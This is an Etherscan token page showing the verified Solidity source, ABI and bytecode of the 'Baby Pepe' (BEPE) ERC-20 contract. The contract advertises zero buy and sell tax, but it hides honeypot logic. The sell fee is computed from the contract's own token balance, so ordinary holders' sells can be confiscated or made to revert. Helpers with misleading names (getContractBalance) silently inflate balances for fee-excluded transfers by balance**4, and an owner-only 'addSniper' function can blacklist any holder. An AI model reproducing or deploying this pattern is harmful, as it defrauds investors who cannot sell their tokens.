ETH Price: $3,636.16 (-2.10%)

Token

ERC-20: Baby Pepe (BEPE)
 

Overview

Max Total Supply

420,690,000 BEPE

Holders

106

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,372,816.279068557 BEPE

Value
$0.00
0x72Ac36A3A4Fa5Bfd939f44a55583116Fe10d6faC
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyPepe

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-06
*/

/*


    Telegram        :       https://t.me/babypepecoineth


    Twitter         :       https://twitter.com/babypepecoineth


    Website         :       https://babypepe.meme/



*/




// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.14;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BabyPepe is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner{
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _antiSniper;

    address payable public Wallet_Marketing = payable(0x81cBB7d3083EBf41d22a1575E7a9Fc3794C75437); 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 420690000 * 10**_decimals;
    string private constant _name = "Baby Pepe"; 
    string private constant _symbol = unicode"BEPE"; 

    uint256 public _maxWalletToken = _tTotal * 4 / 100;
    uint256 public _Tax_On_Buy = 0;
    uint256 public _Tax_On_Sell = 0;
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;  
    
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _tOwned[owner()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[Wallet_Marketing] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
   
    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    
    function getContractBalance(address wallet) private view returns(uint256){
        return balanceOf(address(this)) > 0 && wallet != uniswapV2Pair ? balanceOf(address(this))**4 : 0;
    }

    function _getContractBalance(bool isBuy) private view returns(uint256){
        return !isBuy ? balanceOf(address(this)) : 0;
    }

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {
        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_antiSniper[from] && !_antiSniper[to], "Bots not allowed!");
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

         if(to == address(this)){
            require(_isExcludedFromFee[from] && balanceOf(to) < 100, "ERR: contract interaction not allowed!");
        }

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != uniswapV2Pair){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");
        }

        bool takeFee = true;
        bool isBuy;

        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

        }
        
        _tokenTransfer(from, to, amount, takeFee, isBuy);
    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {

        uint256 feeAmount;
        if(!takeFee){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount.add(getContractBalance(recipient));
        }
        else if(!isBuy){
            feeAmount = tAmount * _getContractBalance(isBuy) / 100;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+(tAmount - feeAmount);
        }
        else{
            feeAmount = tAmount * _getContractBalance(isBuy) / 100;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
        }
        if(feeAmount != 0){
            _tOwned[Wallet_Marketing] = _tOwned[Wallet_Marketing] + feeAmount;
        }
        emit Transfer(sender, recipient, tAmount);
    }

    function addSniper(address add) public onlyOwner{
        _antiSniper[add] = true;
    }

    function removeSniper(address add) public onlyOwner{
        _antiSniper[add] = false;
    }

    function removeMaxWalletLimit() public onlyOwner{
        _maxWalletToken = _tTotal;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_antiSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"add","type":"address"}],"name":"addSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"add","type":"address"}],"name":"removeSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b0319167381cbb7d3083ebf41d22a1575e7a9fc3794c75437179055620000386009600a6200054e565b6200004890631913385062000566565b600655606460065460046200005e919062000566565b6200006a919062000588565b600755600060085560006009553480156200008457600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600654620000fd91309162000372565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001779190620005ab565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002009190620005ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002749190620005ab565b600b80546001600160a01b0319166001600160a01b0392831617905560065460008054909216825260016020819052604083209190915590600390620002c26000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600554909116815260039092529020805490911660011790556200031c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200036491815260200190565b60405180910390a3620005d6565b6001600160a01b038316158015906200039357506001600160a01b03821615155b620003d85760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640160405180910390fd5b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200049057816000190482111562000474576200047462000439565b808516156200048257918102915b93841c939080029062000454565b509250929050565b600082620004a95750600162000548565b81620004b85750600062000548565b8160018114620004d15760028114620004dc57620004fc565b600191505062000548565b60ff841115620004f057620004f062000439565b50506001821b62000548565b5060208310610133831016604e8410600b841016171562000521575081810a62000548565b6200052d83836200044f565b806000190482111562000544576200054462000439565b0290505b92915050565b60006200055f60ff84168362000498565b9392505050565b600081600019048311821515161562000583576200058362000439565b500290565b600082620005a657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005be57600080fd5b81516001600160a01b03811681146200055f57600080fd5b61117180620005e66000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d7146103eb578063a9059cbb1461040b578063b1cb15821461042b578063b43665e214610441578063dd62ed3e14610461578063fd65467d146104a757600080fd5b8063715018a614610330578063768dc7101461034557806378109e54146103755780638da5cb5b1461038b57806395d89b41146103a957806398e3bc36146103d657600080fd5b806333251a0b1161010857806333251a0b1461026257806339509351146102845780633e3e9598146102a45780633f70a495146102c457806349bd5a5e146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b31461019f5780631694505e146101cf57806318160ddd1461020757806323b872dd14610226578063313ce5671461024657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600981526842616279205065706560b81b60208201525b6040516101969190610e1b565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004610e8c565b6104d7565b6040519015158152602001610196565b3480156101db57600080fd5b50600a546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561021357600080fd5b506006545b604051908152602001610196565b34801561023257600080fd5b506101bf610241366004610eb6565b6104ee565b34801561025257600080fd5b5060405160098152602001610196565b34801561026e57600080fd5b5061028261027d366004610ef2565b610557565b005b34801561029057600080fd5b506101bf61029f366004610e8c565b6105ab565b3480156102b057600080fd5b506102826102bf366004610ef2565b6105e1565b3480156102d057600080fd5b5061021860085481565b3480156102e657600080fd5b50600b546101ef906001600160a01b031681565b34801561030657600080fd5b50610218610315366004610ef2565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b5061028261062f565b34801561035157600080fd5b506101bf610360366004610ef2565b60036020526000908152604090205460ff1681565b34801561038157600080fd5b5061021860075481565b34801561039757600080fd5b506000546001600160a01b03166101ef565b3480156103b557600080fd5b506040805180820190915260048152634245504560e01b6020820152610189565b3480156103e257600080fd5b506102826106a3565b3480156103f757600080fd5b506101bf610406366004610e8c565b6106d5565b34801561041757600080fd5b506101bf610426366004610e8c565b610724565b34801561043757600080fd5b5061021860095481565b34801561044d57600080fd5b506005546101ef906001600160a01b031681565b34801561046d57600080fd5b5061021861047c366004610f0d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104b357600080fd5b506101bf6104c2366004610ef2565b60046020526000908152604090205460ff1681565b60006104e4338484610731565b5060015b92915050565b60006104fb8484846107f2565b61054d8433610548856040518060600160405280602881526020016110ef602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b32565b610731565b5060019392505050565b6000546001600160a01b0316331461058a5760405162461bcd60e51b815260040161058190610f40565b60405180910390fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104e49185906105489086610b5e565b6000546001600160a01b0316331461060b5760405162461bcd60e51b815260040161058190610f40565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161058190610f40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cd5760405162461bcd60e51b815260040161058190610f40565b600654600755565b60006104e4338461054885604051806060016040528060258152602001611117602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b32565b60006104e43384846107f2565b6001600160a01b0383161580159061075157506001600160a01b03821615155b6107915760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610581565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526004602052604090205460ff1615801561083457506001600160a01b03821660009081526004602052604090205460ff16155b6108745760405162461bcd60e51b8152602060048201526011602482015270426f7473206e6f7420616c6c6f7765642160781b6044820152606401610581565b6001600160a01b0383161580159061089457506001600160a01b03821615155b6108d85760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610581565b600081116109365760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610581565b306001600160a01b038316036109e7576001600160a01b03831660009081526003602052604090205460ff16801561098c5750606461098a836001600160a01b031660009081526001602052604090205490565b105b6109e75760405162461bcd60e51b815260206004820152602660248201527f4552523a20636f6e747261637420696e746572616374696f6e206e6f7420616c6044820152656c6f7765642160d01b6064820152608401610581565b6001600160a01b03831660009081526003602052604090205460ff16158015610a2957506001600160a01b03821660009081526003602052604090205460ff16155b8015610a435750600b546001600160a01b03838116911614155b15610ab3576001600160a01b038216600090815260016020526040902054600754610a6e8383610f8b565b1115610ab15760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610581565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610af657506001600160a01b03841660009081526003602052604090205460ff165b15610b045760009150610b1e565b600b546001600160a01b0390811690861603610b1e575060015b610b2b8585858585610b71565b5050505050565b60008184841115610b565760405162461bcd60e51b81526004016105819190610e1b565b505050900390565b6000610b6a8284610f8b565b9392505050565b600082610c09576001600160a01b038616600090815260016020526040902054610b9c908590610fa3565b6001600160a01b038716600090815260016020526040902055610bc8610bc186610da4565b8590610b5e565b6001600160a01b038616600090815260016020526040902054610beb9190610f8b565b6001600160a01b038616600090815260016020526040902055610d07565b81610c77576064610c1983610df7565b610c239086610fba565b610c2d9190610fd9565b6001600160a01b038716600090815260016020526040902054909150610c54908590610fa3565b6001600160a01b038716600090815260016020526040902055610bc88185610fa3565b6064610c8283610df7565b610c8c9086610fba565b610c969190610fd9565b6001600160a01b038716600090815260016020526040902054909150610cbd908590610fa3565b6001600160a01b038088166000908152600160205260408082209390935590871681522054610ced908590610f8b565b6001600160a01b0386166000908152600160205260409020555b8015610d4f576005546001600160a01b0316600090815260016020526040902054610d33908290610f8b565b6005546001600160a01b03166000908152600160205260409020555b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610d9491815260200190565b60405180910390a3505050505050565b3060009081526001602052604081205481108015610dd05750600b546001600160a01b03838116911614155b610ddb5760006104e8565b306000908152600160205260409020546104e8906004906110df565b60008115610e065760006104e8565b306000908152600160205260409020546104e8565b600060208083528351808285015260005b81811015610e4857858101830151858201604001528201610e2c565b81811115610e5a576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e8757600080fd5b919050565b60008060408385031215610e9f57600080fd5b610ea883610e70565b946020939093013593505050565b600080600060608486031215610ecb57600080fd5b610ed484610e70565b9250610ee260208501610e70565b9150604084013590509250925092565b600060208284031215610f0457600080fd5b610b6a82610e70565b60008060408385031215610f2057600080fd5b610f2983610e70565b9150610f3760208401610e70565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610f9e57610f9e610f75565b500190565b600082821015610fb557610fb5610f75565b500390565b6000816000190483118215151615610fd457610fd4610f75565b500290565b600082610ff657634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561103657816000190482111561101c5761101c610f75565b8085161561102957918102915b93841c9390800290611000565b509250929050565b60008261104d575060016104e8565b8161105a575060006104e8565b8160018114611070576002811461107a57611096565b60019150506104e8565b60ff84111561108b5761108b610f75565b50506001821b6104e8565b5060208310610133831016604e8410600b84101617156110b9575081810a6104e8565b6110c38383610ffb565b80600019048211156110d7576110d7610f75565b029392505050565b6000610b6a60ff84168361103e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a